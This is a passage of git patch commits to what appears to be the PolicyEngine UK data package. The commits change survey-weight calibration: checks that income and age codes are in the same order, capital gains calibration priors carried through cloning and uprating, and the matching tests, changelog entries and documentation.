         areas = areas.sample(frac=1, random_state=468).reset_index(drop=True)
         y = matrix_builder._load_area_targets(area_type, areas, dataset, _FakeSim())
-    _, expected = _workbook_oracle(area_type)
-    np.testing.assert_array_equal(y["uc_households"], expected.loc[areas["code"]])
     source_age = (
         local_age.get_constituency_age_targets()
         if area_type == "constituency"
@@ -395,6 +429,31 @@ def test_each_builder_uc_row_matches_its_area_and_country(
             source_age.set_index("code").loc[areas["code"], age_columns].to_numpy()
             * adjustment,
         )
+    if area_type == "constituency":
+        source = source_age.set_index("code")[age_columns] * adjustment
+        incomes = local_income.get_constituency_income_targets().set_index("code")
+        national = local_income.get_national_income_projections(dataset.time_period)
+        national_amount = national.loc[
+            national["total_income_lower_bound"].eq(12_570)
+            & national["total_income_upper_bound"].eq(np.inf),
+            "employment_income_amount",
+        ].iloc[0]
+        income_adjustment = national_amount / incomes["employment_income_amount"].sum()
+        for metric in ["amount", "count"]:
+            source[f"hmrc/employment_income/{metric}"] = (
+                incomes[f"employment_income_{metric}"] * income_adjustment
+            )
+        expected_mapped = _map_constituency_targets_by_name(source)
+        # Per-code checks catch the Scottish permutation even though its country
+        # totals and all UC targets are unchanged. Check all seats in both paths.
+        np.testing.assert_allclose(
+            y[source.columns].to_numpy(),
+            expected_mapped.loc[areas["code"], source.columns].to_numpy(),
+            rtol=1e-12,
+            atol=1e-7,
+        )
+    _, expected = _workbook_oracle(area_type)
+    np.testing.assert_array_equal(y["uc_households"], expected.loc[areas["code"]])
     if area_type == "constituency":
         children = local_uc.get_constituency_uc_by_children_targets().loc[areas["code"]]
         np.testing.assert_array_equal(y[_CHILD_COLUMNS], children)

From a2eedce44e3a1fd5f16919f28ae022ad61820984 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 02:03:42 -0400
Subject: [PATCH 62/76] Check local income and age source code ordering

---
 policyengine_uk_data/calibration/matrix_builder.py            | 3 +++
 .../datasets/local_areas/constituencies/loss.py               | 3 +++
 .../datasets/local_areas/local_authorities/loss.py            | 3 +++
 policyengine_uk_data/tests/test_devolved_housing_targets.py   | 1 +
 policyengine_uk_data/tests/test_la_loss_missing_sources.py    | 1 +
 policyengine_uk_data/utils/uc_data.py                         | 4 ++--
 6 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/policyengine_uk_data/calibration/matrix_builder.py b/policyengine_uk_data/calibration/matrix_builder.py
index fb36123c..0d213b7f 100644
--- a/policyengine_uk_data/calibration/matrix_builder.py
+++ b/policyengine_uk_data/calibration/matrix_builder.py
@@ -201,6 +201,9 @@ def _load_area_targets(
 
     # SPI income and age inputs share this source order. Keep the codes
     # through any boundary mapping before selecting the requested rows.
+    assert incomes["code"].equals(age_targets["code"]), (
+        "Income and age code order differs"
+    )
     y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code"))
 
     national_incomes = get_national_income_projections(int(time_period))
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/loss.py b/policyengine_uk_data/datasets/local_areas/constituencies/loss.py
index 32a7b1ad..74573976 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/loss.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/loss.py
@@ -56,6 +56,9 @@ def create_constituency_target_matrix(
 
     # ── Income targets ─────────────────────────────────────────────
     incomes = get_constituency_income_targets()
+    assert incomes["code"].equals(age_targets["code"]), (
+        "Income and age code order differs"
+    )
     national_incomes = get_national_income_projections(int(time_period))
 
     for income_variable in INCOME_VARIABLES:
diff --git a/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py b/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py
index 24d20edd..38abd4d0 100644
--- a/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py
+++ b/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py
@@ -72,6 +72,9 @@ def create_local_authority_target_matrix(
 
     # ── Income targets ─────────────────────────────────────────────
     incomes = get_la_income_targets()
+    assert incomes["code"].equals(age_targets["code"]), (
+        "Income and age code order differs"
+    )
     national_incomes = get_national_income_projections(int(time_period))
 
     for income_variable in INCOME_VARIABLES:
diff --git a/policyengine_uk_data/tests/test_devolved_housing_targets.py b/policyengine_uk_data/tests/test_devolved_housing_targets.py
index 5f811d0f..4fc5c351 100644
--- a/policyengine_uk_data/tests/test_devolved_housing_targets.py
+++ b/policyengine_uk_data/tests/test_devolved_housing_targets.py
@@ -122,6 +122,7 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc
     codes = age_targets["code"].tolist()
     income_targets = pd.DataFrame(
         {
+            "code": codes,
             "self_employment_income_amount": [1.0, 1.0],
             "self_employment_income_count": [1.0, 1.0],
             "employment_income_amount": [1.0, 1.0],
diff --git a/policyengine_uk_data/tests/test_la_loss_missing_sources.py b/policyengine_uk_data/tests/test_la_loss_missing_sources.py
index b2478aeb..f2c7d394 100644
--- a/policyengine_uk_data/tests/test_la_loss_missing_sources.py
+++ b/policyengine_uk_data/tests/test_la_loss_missing_sources.py
@@ -50,6 +50,7 @@ def _patch_common_la_inputs(monkeypatch, tmp_path):
         "get_la_income_targets",
         lambda: pd.DataFrame(
             {
+                "code": _fake_la_codes()["code"],
                 "employment_income_amount": [1.0, 1.0, 1.0, 1.0],
                 "employment_income_count": [1.0, 1.0, 1.0, 1.0],
             }
diff --git a/policyengine_uk_data/utils/uc_data.py b/policyengine_uk_data/utils/uc_data.py
index 4aa36b28..2c8d1116 100644
--- a/policyengine_uk_data/utils/uc_data.py
+++ b/policyengine_uk_data/utils/uc_data.py
@@ -12,8 +12,8 @@ def _normalise_area_name(name: str) -> str:
 
 
 def _area_name_aliases(name: str) -> set[str]:
-    # Welsh Stat-Xplore labels contain both Welsh and English names, in
-    # either order. Match either label, without guessing a translation.
+    # Welsh and English names in Stat-Xplore labels may appear in either order.
+    # Match either label, without guessing a translation.
     return {_normalise_area_name(part) for part in re.split(r"/", name)} - {""}
 
 

From c9229ee68e728e525f7702067182c662e99960c1 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 02:07:07 -0400
Subject: [PATCH 63/76] Refresh SPI changelog after integrating current
 uprating factors

---
 changelog.d/spi-cgt-tax-year-start.fixed.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/changelog.d/spi-cgt-tax-year-start.fixed.md b/changelog.d/spi-cgt-tax-year-start.fixed.md
index 514abf0d..9df02167 100644
--- a/changelog.d/spi-cgt-tax-year-start.fixed.md
+++ b/changelog.d/spi-cgt-tax-year-start.fixed.md
@@ -1 +1 @@
-Map the HMRC Survey of Personal Incomes and capital gains tax 2023-24 outturns to PolicyEngine year 2023, the tax year they describe, instead of 2024. Return each SPI income band as one target that holds both the base year and the projected years, so calibration uses the projected values rather than the base-year outturn carried forward. Together these raise the 2025 SPI income targets by two years of uprating (employment income +8.6%) and the capital gains targets by one (+3.8%).
+Map the HMRC Survey of Personal Incomes and capital gains tax 2023-24 outturns to PolicyEngine year 2023, the tax year they describe, instead of 2024. Return each SPI income band as one target that holds both the base year and the projected years, so calibration uses the projected values rather than the base-year outturn carried forward. Regenerate the SPI projections from the corrected base year with the current uprating factors.

From 0b0325c24461860e76f4be6d9aa034f3a63b2b7b Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 02:15:34 -0400
Subject: [PATCH 64/76] Conserve capital gains pair priors through calibration

---
 .../calibration/clone_and_assign.py           |  8 ++-
 .../datasets/imputations/capital_gains.py     | 33 ++++++++---
 .../tests/test_capital_gains_imputation.py    | 47 ++++++++++++----
 .../tests/test_clone_and_assign.py            | 19 +++++++
 policyengine_uk_data/tests/test_uprating.py   | 55 +++++++++++++++++++
 policyengine_uk_data/utils/calibrate.py       | 16 ++++++
 policyengine_uk_data/utils/uprating.py        | 13 ++++-
 7 files changed, 166 insertions(+), 25 deletions(-)
 create mode 100644 policyengine_uk_data/tests/test_uprating.py

diff --git a/policyengine_uk_data/calibration/clone_and_assign.py b/policyengine_uk_data/calibration/clone_and_assign.py
index f1907b9d..36d74c9b 100644
--- a/policyengine_uk_data/calibration/clone_and_assign.py
+++ b/policyengine_uk_data/calibration/clone_and_assign.py
@@ -80,8 +80,8 @@ def clone_and_assign(
     The OA's region, LA and constituency therefore never
     contradict the household's ``region``.
 
-    Household weights are divided by n_clones so aggregate
-    population totals are preserved.
+    Household weights and any carried calibration priors are divided by
+    n_clones so their aggregate totals are preserved.
 
     Args:
         dataset: Input FRS dataset (post-imputation).
@@ -194,6 +194,10 @@ def clone_and_assign(
             hh_clone["source_year"] = dataset.time_period
         hh_clone["household_id"] = new_hh_ids
         hh_clone["household_weight"] = hh["household_weight"].values / n_clones
+        if "household_calibration_prior" in hh:
+            hh_clone["household_calibration_prior"] = (
+                hh["household_calibration_prior"].values / n_clones
+            )
 
         # Add geography columns from assignment
         # Initialise with empty strings for all households
diff --git a/policyengine_uk_data/datasets/imputations/capital_gains.py b/policyengine_uk_data/datasets/imputations/capital_gains.py
index 8e60f2ab..f313fca8 100644
--- a/policyengine_uk_data/datasets/imputations/capital_gains.py
+++ b/policyengine_uk_data/datasets/imputations/capital_gains.py
@@ -29,8 +29,9 @@
 # statistics describe (above the lowest size-of-gain band limit, the annual
 # exempt amount), the household is stacked a second time as a "has-gains
 # twin" carrying the gain, and the household's mass is split between the two
-# records so that the share of people with gains in each income band follows
-# the table. Calibration then moves weight between a household and its twin,
+# records using the table's incidence propensity adjusted for assignment
+# to first adults. Rejecting draws at or under the limit lowers realised
+# incidence. Calibration then moves weight between a household and its twin,
 # pulled by the HMRC targets in targets/sources/hmrc_cgt.py, without
 # disturbing any other target.
 #
@@ -41,10 +42,11 @@
 # people holding £15bn of losses, and 0.4m with gains under the exempt
 # amount.
 #
-# "Mass" is the household's calibration prior expressed as a weight
-# (calibrate.prior_equivalent_weights): the survey weight for a survey row,
-# and for a zero-weight row (the SPI synthetic households) the weight that
-# earns the prior those rows are given. Twins of zero-weight rows used to
+# The original and twin carry complementary household_calibration_prior
+# values into calibration. Survey weights are also split; zero-weight
+# originals stay at zero and their twins receive prior-equivalent weights.
+# These weights must not be used to regenerate the already split priors.
+# Twins of zero-weight rows used to
 # keep a zero weight, and so received a full zero-weight prior each, the same
 # as their no-gains originals. The calibration therefore started with half
 # of the SPI rows' mass holding gains: 6.4m CGT taxpayers and £365bn of gains
@@ -117,11 +119,12 @@ def draw_gains(income_band: np.ndarray, gainer: np.ndarray) -> np.ndarray:
 def has_gains_shares(
     income_band: np.ndarray, first_adult: np.ndarray, person_weight: np.ndarray
 ) -> np.ndarray:
-    """Share of each income band's first adults who hold gains.
+    """Twin propensity among first adults, before rejecting small gains.
 
     The table gives the share of all people in a band with gains, but only
     first adults are given gains, so the share among them is the table's
     share times the band's people per first adult.
+    Rejecting draws at or under the HMRC band limit lowers realised incidence.
     """
     n_bands = len(capital_gains)
     in_table = income_band >= 0
@@ -149,7 +152,10 @@ def has_gains_shares(
 def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
     """Stack a has-gains twin for each household whose first adult draws a
     gain above the lowest HMRC size-of-gain band limit."""
-    from policyengine_uk_data.utils.calibrate import prior_equivalent_weights
+    from policyengine_uk_data.utils.calibrate import (
+        initialize_weight_priors,
+        prior_equivalent_weights,
+    )
 
     dataset = dataset.copy()
     total_income, first_adult = _first_adult_incomes(dataset)
@@ -157,6 +163,9 @@ def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
         dataset.person.person_household_id
     )
     weight = dataset.household.household_weight.to_numpy(dtype=float)
+    priors = initialize_weight_priors(
+        weight, prior_weights=dataset.household.get("household_calibration_prior")
+    )
 
     income_band = _income_band(total_income)
     gains = draw_gains(income_band, first_adult)
@@ -165,6 +174,7 @@ def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
     gainer = first_adult & (gains > load_size_bands().lower_limit.min())
     twin_weight = np.zeros(len(weight))
     twin_weight[household_of_person[gainer]] = share[income_band[gainer]]
+    twin_prior = priors * twin_weight
     twin_weight *= prior_equivalent_weights(weight)
     has_twin = twin_weight > 0
 
@@ -172,6 +182,7 @@ def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
     twin = _households(dataset, dataset.household.household_id[has_twin])
     twin.person["capital_gains"] = gains[has_twin[household_of_person]]
     twin.household["household_weight"] = twin_weight[has_twin]
+    twin.household["household_calibration_prior"] = twin_prior[has_twin]
     twin.household["household_is_capital_gains_clone"] = True
 
     dataset.person["capital_gains"] = 0.0
@@ -179,6 +190,7 @@ def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
         weight > 0, weight - twin_weight, 0.0
     )
     dataset.household["household_is_capital_gains_clone"] = False
+    dataset.household["household_calibration_prior"] = priors - twin_prior
 
     data = stack_datasets(dataset, twin)
     data.validate()
@@ -298,6 +310,11 @@ def stack_cgt_band_donors(dataset: UKSingleYearDataset) -> UKSingleYearDataset:
         donor.household.household_id.map(weight_of_household).fillna(0.0).values
     )
     donor.household["household_is_cgt_band_donor"] = True
+    if "household_calibration_prior" in dataset.household:
+        # Donors add their published band mass, not the copied source prior.
+        donor.household["household_calibration_prior"] = donor.household[
+            "household_weight"
+        ]
 
     # The band mean gain goes to each donor household's first adult;
     # everyone else in the household carries no gain, mirroring the
diff --git a/policyengine_uk_data/tests/test_capital_gains_imputation.py b/policyengine_uk_data/tests/test_capital_gains_imputation.py
index e5989e09..28f6bb69 100644
--- a/policyengine_uk_data/tests/test_capital_gains_imputation.py
+++ b/policyengine_uk_data/tests/test_capital_gains_imputation.py
@@ -75,6 +75,16 @@ def _impute(dataset, donors: bool = False):
         return cg.stack_cgt_band_donors(out) if donors else out
 
 
+def _priors(dataset):
+    household = dataset.household
+    if "household_calibration_prior" in household:
+        return initialize_weight_priors(
+            household.household_weight.to_numpy(),
+            prior_weights=household.household_calibration_prior.to_numpy(),
+        )
+    return initialize_weight_priors(household.household_weight.to_numpy())
+
+
 households = st.lists(
     st.tuples(
         st.one_of(st.just(0.0), st.floats(0.1, 5_000.0)),
@@ -127,7 +137,9 @@ def test_a_band_with_too_few_first_adults_fails_loudly():
 def test_twins_conserve_mass_and_carry_only_gains_hmrc_describes(rows):
     weights, sizes, bands = (np.array(column) for column in zip(*rows))
     n = len(weights)
-    out = _impute(_dataset(weights, sizes, bands))
+    source_dataset = _dataset(weights, sizes, bands)
+    before_priors = _priors(source_dataset)
+    out = _impute(source_dataset)
     household, person = out.household, out.person
 
     original = household.iloc[:n]
@@ -151,6 +163,12 @@ def test_twins_conserve_mass_and_carry_only_gains_hmrc_describes(rows):
     assert (original.household_weight[~survey] == 0).all()
     assert (original.household_weight[survey] > 0).all()
 
+    prior = _priors(out)
+    twin_prior = np.zeros(n)
+    twin_prior[twin_of - 1] = prior[n:]
+    np.testing.assert_allclose(prior[:n] + twin_prior, before_priors)
+    assert prior.sum() == pytest.approx(before_priors.sum())
+
     # Gains: none on originals; on a twin, the first adult's alone, above
     # the lowest HMRC band limit.
     gains = person.capital_gains.to_numpy()
@@ -200,16 +218,17 @@ def test_zero_weight_rows_split_their_prior_like_survey_rows():
 
     # One person per household, so the has-gains share is the table's.
     share = TABLE.percent_with_gains.iloc[TOP_INCOME_BAND]
-    priors = initialize_weight_priors(household.household_weight.to_numpy())
-    survey_twins = priors[n:][~of_zero]
-    np.testing.assert_allclose(
-        survey_twins / (survey_twins + priors[twin_of[~of_zero]]), share
-    )
-    # The same split for zero-weight rows, up to the mass their twins add.
-    added = twin.household_weight[of_zero].sum() / weights.sum()
-    np.testing.assert_allclose(
-        priors[n:][of_zero] / priors[twin_of[of_zero]], share / (1 + added)
-    )
+    priors = _priors(out)
+    before_priors = initialize_weight_priors(weights)
+    twin_priors = np.zeros(n)
+    twin_priors[twin_of] = priors[n:]
+    np.testing.assert_allclose(priors[:n] + twin_priors, before_priors)
+    assert priors.sum() == pytest.approx(before_priors.sum())
+    assert priors.sum() == pytest.approx(400_000)
+    pair_fraction = priors[n:] / (priors[n:] + priors[twin_of])
+    np.testing.assert_allclose(pair_fraction, share)
+    assert of_zero.any() and (~of_zero).any()
+    np.testing.assert_allclose(pair_fraction[of_zero], pair_fraction[~of_zero][0])
     # The only zero-weight rows left are the zero-weight originals.
     assert (household.household_weight == 0).sum() == n_zero
 
@@ -260,6 +279,10 @@ def test_donors_fill_the_top_bands_and_are_never_twins():
     donors = out.household[out.household.household_is_cgt_band_donor]
     assert len(donors) == cg.DONORS_PER_BAND * len(bands)
     assert not donors.household_is_capital_gains_clone.any()
+    np.testing.assert_allclose(
+        _priors(out)[out.household.household_is_cgt_band_donor.to_numpy()],
+        donors.household_weight,
+    )
 
     donor_people = out.person[out.person.person_household_id.isin(donors.household_id)]
     gainers = donor_people[donor_people.capital_gains > 0]
@@ -286,7 +309,7 @@ def test_calibration_starts_with_every_band_count_on_target():
     names = hmrc_cgt.band_count_target_names()
     assert len(names) == 12
 
-    priors = initialize_weight_priors(out.household.household_weight.to_numpy())
+    priors = _priors(out)
     start = rake_priors_to_targets(priors, matrix, targets, names)
 
     estimate = start @ matrix
diff --git a/policyengine_uk_data/tests/test_clone_and_assign.py b/policyengine_uk_data/tests/test_clone_and_assign.py
index a3c8c0e1..d59d44f6 100644
--- a/policyengine_uk_data/tests/test_clone_and_assign.py
+++ b/policyengine_uk_data/tests/test_clone_and_assign.py
@@ -145,6 +145,25 @@ def test_weight_preservation(self, toy_dataset, small_crosswalk):
         cloned_total = result.household["household_weight"].sum()
         np.testing.assert_allclose(cloned_total, original_total, rtol=1e-10)
 
+    def test_calibration_prior_preservation(self, toy_dataset, small_crosswalk):
+        """OA copies must share each source household's carried prior."""
+        original_prior = np.linspace(25.0, 250.0, len(toy_dataset.household))
+        toy_dataset.household["household_calibration_prior"] = original_prior
+
+        result = clone_and_assign(
+            toy_dataset,
+            n_clones=5,
+            crosswalk_path=str(small_crosswalk),
+        )
+
+        by_source = result.household.groupby("source_household_id")[
+            "household_calibration_prior"
+        ].sum()
+        np.testing.assert_allclose(by_source, original_prior)
+        np.testing.assert_array_equal(
+            toy_dataset.household.household_calibration_prior, original_prior
+        )
+
     def test_unique_household_ids(self, toy_dataset, small_crosswalk):
         result = clone_and_assign(
             toy_dataset,
diff --git a/policyengine_uk_data/tests/test_uprating.py b/policyengine_uk_data/tests/test_uprating.py
new file mode 100644
index 00000000..fbdf3b30
--- /dev/null
+++ b/policyengine_uk_data/tests/test_uprating.py
@@ -0,0 +1,55 @@
+"""Dataset uprating preserves the meaning of carried calibration priors."""
+
+import numpy as np
+import pandas as pd
+from policyengine_uk.data import UKSingleYearDataset
+
+from policyengine_uk_data.utils import uprating
+
+
+def test_carried_calibration_priors_follow_household_weight_uprating(
+    tmp_path, monkeypatch
+):
+    factors = pd.DataFrame(
+        {"2024": [1.2, 1.0], "2025": [1.5, 2.0]},
+        index=pd.Index(["household_weight", "capital_gains"], name="Variable"),
+    )
+    factors.to_csv(tmp_path / "uprating_factors.csv")
+    monkeypatch.setattr(uprating, "STORAGE_FOLDER", tmp_path)
+    household = pd.DataFrame(
+        {
+            "household_id": [1, 2, 3, 4],
+            "household_weight": [850.0, 150.0, 0.0, 50.0],
+            "household_calibration_prior": [425.0, 75.0, 850.0, 150.0],
+        }
+    )
+    dataset = UKSingleYearDataset(
+        person=pd.DataFrame(
+            {
+                "person_id": [1, 2, 3, 4],
+                "person_household_id": [1, 2, 3, 4],
+                "person_benunit_id": [1, 2, 3, 4],
+                "capital_gains": [0.0, 4_000.0, 0.0, 5_000.0],
+            }
+        ),
+        benunit=pd.DataFrame({"benunit_id": [1, 2, 3, 4]}),
+        household=household.copy(),
+        fiscal_year=2024,
+    )
+
+    result = uprating.uprate_dataset(dataset, 2025)
+
+    np.testing.assert_allclose(
+        result.household.household_calibration_prior,
+        household.household_calibration_prior * 1.25,
+    )
+    np.testing.assert_allclose(
+        result.household.household_weight, household.household_weight * 1.25
+    )
+    np.testing.assert_allclose(
+        result.person.capital_gains, dataset.person.capital_gains * 2
+    )
+    pd.testing.assert_frame_equal(dataset.household, household)
+    restored = uprating.uprate_dataset(result, 2024)
+    pd.testing.assert_frame_equal(restored.household, household)
+    pd.testing.assert_frame_equal(restored.person, dataset.person)
diff --git a/policyengine_uk_data/utils/calibrate.py b/policyengine_uk_data/utils/calibrate.py
index 3f68a253..9bda3387 100644
--- a/policyengine_uk_data/utils/calibrate.py
+++ b/policyengine_uk_data/utils/calibrate.py
@@ -110,6 +110,8 @@ def load_weights(
 def initialize_weight_priors(
     original_weights: np.ndarray,
     zero_weight_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE,
+    *,
+    prior_weights: np.ndarray | None = None,
 ) -> np.ndarray:
     """Build deterministic positive household priors for calibration.
 
@@ -119,12 +121,23 @@ def initialize_weight_priors(
     zero-weight rows are present, preserve the relative distribution of
     positive survey weights while reserving a fixed share of total prior mass
     for the zero-weight rows.
+
+    When a build step has already split these priors between household
+    copies, use its carried priors directly rather than assigning new mass
+    to zero-weight originals from the enlarged population of copies.
     """
     weights = np.asarray(original_weights, dtype=np.float64)
     if weights.ndim != 1:
         raise ValueError("original_weights must be one-dimensional")
     if np.any(weights < 0):
         raise ValueError("original_weights must be non-negative")
+    if prior_weights is not None:
+        priors = np.asarray(prior_weights, dtype=np.float64)
+        if priors.shape != weights.shape:
+            raise ValueError("prior_weights must match original_weights")
+        if not np.isfinite(priors).all() or (priors <= 0).any():
+            raise ValueError("prior_weights must be finite and positive")
+        return priors.copy()
     if weights.size == 0:
         return weights.copy()
     if not 0 < zero_weight_total_share < 1:
@@ -340,6 +353,9 @@ def track_stage(stage_name: str):
         household_prior_weights = initialize_weight_priors(
             dataset.household.household_weight.values,
             zero_weight_total_share=zero_weight_prior_total_share,
+            prior_weights=getattr(
+                dataset.household, "household_calibration_prior", None
+            ),
         )
         if prior_rake_targets:
             household_prior_weights = rake_priors_to_targets(
diff --git a/policyengine_uk_data/utils/uprating.py b/policyengine_uk_data/utils/uprating.py
index ff3939fb..b20700ab 100644
--- a/policyengine_uk_data/utils/uprating.py
+++ b/policyengine_uk_data/utils/uprating.py
@@ -259,10 +259,17 @@ def uprate_dataset(dataset: UKSingleYearDataset, target_year: int = END_YEAR):
 
     for table in dataset.tables:
         for variable in table.columns:
-            if variable in uprating_factors.index:
+            # Carried priors are household mass, so they must grow with
+            # household weights when moving to the calibration year.
+            uprating_variable = (
+                "household_weight"
+                if variable == "household_calibration_prior"
+                else variable
+            )
+            if uprating_variable in uprating_factors.index:
                 factor = (
-                    uprating_factors.loc[variable, str(target_year)]
-                    / uprating_factors.loc[variable, str(start_year)]
+                    uprating_factors.loc[uprating_variable, str(target_year)]
+                    / uprating_factors.loc[uprating_variable, str(start_year)]
                 )
                 table[variable] *= factor
 

From 3a3ee3c76925fa6a6e2db385285c97715f2a91db Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 02:15:44 -0400
Subject: [PATCH 65/76] Cover national prior raking and clarify CGT assumptions

---
 .../capital-gains-hmrc-2024-25.fixed.md       |   2 +-
 docs/imputations.md                           |   2 +-
 .../capital_gains_size_distribution_hmrc.csv  |   3 +-
 .../tests/test_calibration_priors.py          | 107 +++++++++++++++++-
 4 files changed, 110 insertions(+), 4 deletions(-)

diff --git a/changelog.d/capital-gains-hmrc-2024-25.fixed.md b/changelog.d/capital-gains-hmrc-2024-25.fixed.md
index 4b514b3b..a287abe2 100644
--- a/changelog.d/capital-gains-hmrc-2024-25.fixed.md
+++ b/changelog.d/capital-gains-hmrc-2024-25.fixed.md
@@ -1 +1 @@
-- Calibrate capital gains to HMRC's 2024-25 outturn for individuals (Capital Gains Tax statistics, 2026 release: 548,000 taxpayers with £119.3bn of gains above the annual exempt amount) and start the calibration on it. The 1.58.0 build targeted the 2023-24 all-taxpayer headline (£65.9bn, including trusts) and ended 19% under even that, with £53bn of gains above the exempt amount and a further -£15bn of losses on 1.4m people. Its calibration started 17 times over on CGT taxpayers, because the has-gains copy of each zero-weight SPI household received a full prior weight. Capital gains are now the last imputation, so a has-gains copy matches its original in everything but the gain. Each household splits its mass between itself and a has-gains twin by the Advani-Summers share for its income band, zero-weight households included; draws at or under the exempt amount, including losses, carry no gains; donors cover only the size bands from £500,000 up; and the calibration scales its starting weights so every HMRC size band's taxpayer count begins on target. The aggregate targets are now the sums of the size-band targets.
+- Calibrate capital gains to HMRC's 2024-25 outturn for individuals (Capital Gains Tax statistics, 2026 release: 548,000 taxpayers with £119.3bn of gains above the annual exempt amount) and start the calibration on it. The 1.58.0 build targeted the 2023-24 all-taxpayer headline (£65.9bn, including trusts) and ended 19% under even that, with £53bn of gains above the exempt amount and a further -£15bn of losses on 1.4m people. Its calibration started 17 times over on CGT taxpayers, because the has-gains copy of each zero-weight SPI household received a full prior weight. Capital gains are now the last imputation, so a has-gains copy matches its original in everything but the gain. Each household splits its calibration prior into complementary original and twin parts using the Advani-Summers propensity for its income band before rejecting small draws, zero-weight households included; both parts are carried through geography cloning and uprating into calibration; draws at or under the exempt amount, including losses, carry no gains; donors cover only the size bands from £500,000 up; and the calibration scales its starting weights so every HMRC size band's taxpayer count begins on target. The aggregate targets are now the sums of the size-band targets.
diff --git a/docs/imputations.md b/docs/imputations.md
index 2550db6a..dd956203 100644
--- a/docs/imputations.md
+++ b/docs/imputations.md
@@ -166,7 +166,7 @@ Not a QRF. Advani and Summers give, for each band of total income, the share of
 
 ### Method
 1. Each household's first adult draws a gain from their income band's Advani-Summers distribution.
-2. Where the draw is above the lowest HMRC size band limit (the £3,000 annual exempt amount), the household is stacked again as a has-gains twin carrying the gain. Its mass is split between twin and original so that the share of people with gains in each income band follows Advani-Summers. A zero-weight (SPI synthetic) household is split in the same proportion, using the weight that earns its calibration prior. Smaller draws, including losses, get no twin: HMRC publishes liable taxpayers only, so nothing would anchor them.
+2. Where the draw is above the lowest HMRC size band limit (the £3,000 annual exempt amount), the household is stacked again as a has-gains twin carrying the gain. The split propensity adjusts Advani-Summers' share of all people in the income band for assignment to first adults only. This is the propensity before rejecting draws of £3,000 or less; rejecting those draws lowers realised incidence. For a zero-weight (SPI synthetic) household, complementary original and twin calibration priors are carried into calibration. The prior-equivalent weight sets only the twin's household weight, while the original's household weight remains zero. Smaller draws, including losses, get no twin: HMRC publishes liable taxpayers only, so nothing would anchor them.
 3. The spline stops at each band's 95th percentile, so few draws exceed £500,000 and none exceeds about £2m. For each HMRC size band from £500,000 up, 30 donor households are stacked carrying the band's published mean gain.
 4. Calibration targets the taxpayer count and the gains of each HMRC size band, and their totals. Before the first epoch it scales the starting weights so that each band's taxpayer count is on its target.
 
diff --git a/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv b/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv
index c458fa4c..11ccf602 100644
--- a/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv
+++ b/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv
@@ -27,7 +27,8 @@
 # - Gains are after losses and before the AEA.
 #
 # Published total for individuals: 551 thousand taxpayers, £119,258m of gains,
-# £22,503m of tax. The rows below sum to those totals.
+# £22,503m of tax. Band sums may differ from published totals through rounding
+# (the tax rows below sum to £22,502m).
 lower_limit,taxpayers_thousands,gains_gbp_millions,tax_gbp_millions
 0,3,1,16
 3000,73,311,17
diff --git a/policyengine_uk_data/tests/test_calibration_priors.py b/policyengine_uk_data/tests/test_calibration_priors.py
index 020ba759..bc2409ac 100644
--- a/policyengine_uk_data/tests/test_calibration_priors.py
+++ b/policyengine_uk_data/tests/test_calibration_priors.py
@@ -13,6 +13,7 @@
 
 from policyengine_uk_data.utils.calibrate import (
     DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE,
+    calibrate_local_areas,
     initialize_weight_priors,
     prior_equivalent_weights,
     rake_priors_to_targets,
@@ -24,6 +25,7 @@
 
 
 @given(weights)
+@settings(deadline=None)
 def test_equivalent_weights_earn_each_row_its_prior(original):
     assume((original > 0).any())
     equivalent = prior_equivalent_weights(original)
@@ -75,7 +77,7 @@ def raking_problems(draw):
 
 
 @given(raking_problems())
-@settings(max_examples=200)
+@settings(max_examples=200, deadline=None)
 def test_rake_meets_every_named_target_and_touches_nothing_else(problem):
     priors, matrix, targets, names = problem
     raked = rake_priors_to_targets(priors, matrix, targets, names)
@@ -117,3 +119,106 @@ def test_rake_rejects_a_non_positive_target():
     matrix = pd.DataFrame({"a": [1.0, 0.0]})
     with pytest.raises(ValueError, match="non-positive"):
         rake_priors_to_targets(np.ones(2), matrix, pd.Series({"a": 0.0}), ["a"])
+
+
+@pytest.mark.parametrize(
+    ("carried_priors", "rake_targets", "expected_household_priors"),
+    [
+        pytest.param(
+            [10.0, 20.0, 40.0, 30.0],
+            ("band_a", "band_b"),
+            [100.0, 100.0, 400.0, 150.0],
+            id="carried-priors-raked",
+        ),
+        pytest.param(
+            [10.0, 20.0, 40.0, 30.0],
+            (),
+            [10.0, 20.0, 40.0, 30.0],
+            id="carried-priors-without-rake",
+        ),
+    ],
+)
+def test_calibrate_rakes_national_priors_before_splitting_between_areas(
+    tmp_path, monkeypatch, carried_priors, rake_targets, expected_household_priors
+):
+    import h5py
+
+    from policyengine_uk_data.tests.test_calibrate_save import _StubDataset
+    from policyengine_uk_data.utils import calibrate as calibrate_module
+
+    national_matrix = pd.DataFrame(
+        {"band_a": [1.0, 0.0, 1.0, 0.0], "band_b": [0.0, 1.0, 0.0, 1.0]}
+    )
+    national_targets = pd.Series({"band_a": 500.0, "band_b": 250.0})
